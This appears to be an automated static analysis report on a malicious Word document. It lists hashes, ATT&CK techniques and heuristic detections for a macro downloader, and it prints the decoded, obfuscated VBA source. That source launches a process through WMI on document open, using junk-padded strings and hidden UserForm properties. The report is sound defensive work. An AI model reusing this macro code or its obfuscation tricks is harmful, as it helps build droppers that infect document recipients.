Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ef80277a8e9cccbf…

MALICIOUS

Office (OLE)

230.6 KB Created: 2020-08-13 07:51:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: e41bdb3816f3c4b719ace0d06f8df755 SHA-1: 9c6ff85e2d928f7a373847c9e6d37ef912c78077 SHA-256: ef80277a8e9cccbf933a7a8a8d823f2ea70553923a1eeefaa42bccf7592bdadf
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of a downloader. The critical heuristic 'OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER' and the ClamAV detection 'Doc.Downloader.Mrho-9311476-0' strongly suggest this file's purpose is to download and execute a secondary payload. The VBA code's obfuscation and use of CreateObject point towards malicious intent.

Heuristics 7

  • ClamAV: Doc.Downloader.Mrho-9311476-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Mrho-9311476-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4290 bytes
SHA-256: efbb1b3da04655d557609faba99a63531bd632a5216af705eea3dc5808c440ed
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "PTNPXwnhbqlarhlitq"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
NAHZCetwoartwvsoxua.OFVCAwbakihodx
End Sub


Attribute VB_Name = "NAHZCetwoartwvsoxua"
Attribute VB_Base = "0{154A771E-39A8-4AD6-9E50-D2D7612A7143}{50E4041C-81B6-4E81-AC92-FF6D4247D9A6}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function OFVCAwbakihodx()
AYMPLnaroucuq = NAHZCetwoartwvsoxua.Zoom
Dim EWtaT3ÄEfeU As Integer
EWtaT3ÄEfeU = 9
Do While EWtaT3ÄEfeU < 9 + 4
EWtaT3ÄEfeU = EWtaT3ÄEfeU + 6: DoEvents
Loop
KRAPOleevrofoehys = ChrW(AYMPLnaroucuq + (100 + 35) / 9)
Dim WHEWC0ÅGtsV As String
WHEWC0ÅGtsV = Trim$("NZtncF7Ç")
GCNQRqwreakn = "832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671w832[sahj hui12t7gGG7&^6272 gasg671i832[sahj hui12t7gGG7&^6272 gasg671nm832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671gm832[sahj hui12t7gGG7&^6272 gasg671t832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671" + KRAPOleevrofoehys + "832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671:832[sahj hui12t7gGG7&^6272 gasg671w832[sahj hui12t7gGG7&^6272 gasg671in832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg6713832[sahj hui12t7gGG7&^6272 gasg6712832[sahj hui12t7gGG7&^6272 gasg671_832[sahj hui12t7gGG7&^6272 gasg671" + NAHZCetwoartwvsoxua.IGVMWbfwxefbp + "832[sahj hui12t7gGG7&^6272 gasg671ro832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671ce832[sahj hui12t7gGG7&^6272 gasg671s832[sahj hui12t7gGG7&^6272 gasg671s832[sahj hui12t7gGG7&^6272 gasg671"
Dim Xw3Î8ÍKy1Ñw As Byte
DEQYZerhemooiyt = QEWGYbeaauarqarjtqt(GCNQRqwreakn)
Dim KUm3Y4Áw0ÔA As Integer
KUm3Y4Áw0ÔA = 4
Do While KUm3Y4Áw0ÔA < 4 + 8
KUm3Y4Áw0ÔA = KUm3Y4Áw0ÔA + 8: DoEvents
Loop
Set WVVHOawpqkzbinlj = CreateObject(DEQYZerhemooiyt)
Dim QXD As String
QXD = Trim$("DHBnPjfiN")
YCGYEdqtykuhafi = NAHZCetwoartwvsoxua.NMFIMoewwqvxwtic.ControlTipText
Dim m1ÝkpiV8ÔN As Variant
QCXKAejrwgmbz = PUCTGqrmdvzf + (DEQYZerhemooiyt + KRAPOleevrofoehys + NAHZCetwoartwvsoxua.ZMTDUebusvcg.ControlTipText + YCGYEdqtykuhafi)
Dim gs2ËgnTcKiQ As String
OHODUxlhbtmlppcxesq = QCXKAejrwgmbz + NAHZCetwoartwvsoxua.IGVMWbfwxefbp
Dim N0ÚPb8Ì As Double
Set VIHRMfjxzrpb = FEJSTqrrgzlmpk(OHODUxlhbtmlppcxesq)
Dim GqCGSFodc As String
GqCGSFodc = Trim$("Mv1Ýf8ÈoY4Ý")
PPOWHfdrqfdupsy = Array(BDHIXgdtvsnuodtknm + "QNKNZbiypyzry QCRRXojmvapsjdnls DMIIQpigohouw", WVVHOawpqkzbinlj. _
Create(RVVRSazccqcqtjxa, OBXACsqywesk, VIHRMfjxzrpb), HSFLDgsolkilbjqzbya + "NDIFMjzqeqeqg BOJWKodndrppajayv")
Dim ZWpUHiEAD As String
ZWpUHiEAD = Trim$("VabiuX")
End Function
Function FEJSTqrrgzlmpk(ATESQxhdgtnecp)
Set FEJSTqrrgzlmpk = CreateObject(ATESQxhdgtnecp)
Dim yllcsJLnKV As Integer
yllcsJLnKV = 9
Do While yllcsJLnKV < 9 + 5
yllcsJLnKV = yllcsJLnKV + 1: DoEvents
Loop
FEJSTqrrgzlmpk. _
showwindow = RFLDKaztgcjvf + FKHBQenmbazqpxjqq
Dim a4Õg As Object
End Function
Function QEWGYbeaauarqarjtqt(GSXTAfnaxlreij)
XSDHDdnfacjfaja = GSXTAfnaxlreij
Dim nGcyUDpZ As Byte
TOSYPqkxzqslxaczg = Split _
(XSDHDdnfacjfaja, "832[sahj hui12t7gGG7&^6272 gasg671")
Dim EA4ØDwC5ÔrtA As Double
OCDEDfxycqvfabw = UYZAGxejxriad + Join(TOSYPqkxzqslxaczg, LYJPByiqsfekdt)
Dim C7ÜYg As String
C7ÜYg = Trim$("nCtJBfnGcy")
QEWGYbeaauarqarjtqt = OCDEDfxycqvfabw
Dim kFPSyh As Object
End Function
Function RVVRSazccqcqtjxa()
Dim ctRwWF As String
ctRwWF = Trim$("dJSt4Äf")
Dim Hd2EFS7Ë2Àe As String
Hd2EFS7Ë2Àe = Trim$("X8åCfRdv")
Dim gbdGcnr As String
gbdGcnr = Trim$("kYI")
PHQKYrxcyyilqrkxj = NAHZCetwoartwvsoxua.USXKJuuuxznjbfw.Pages(vbOK).Tag
Dim AhGo2ÒY3Õbo As String
AhGo2ÒY3Õbo = Trim$("yo3ÊdOZdWK")
RVVRSazccqcqtjxa = QEWGYbeaau
... (truncated)

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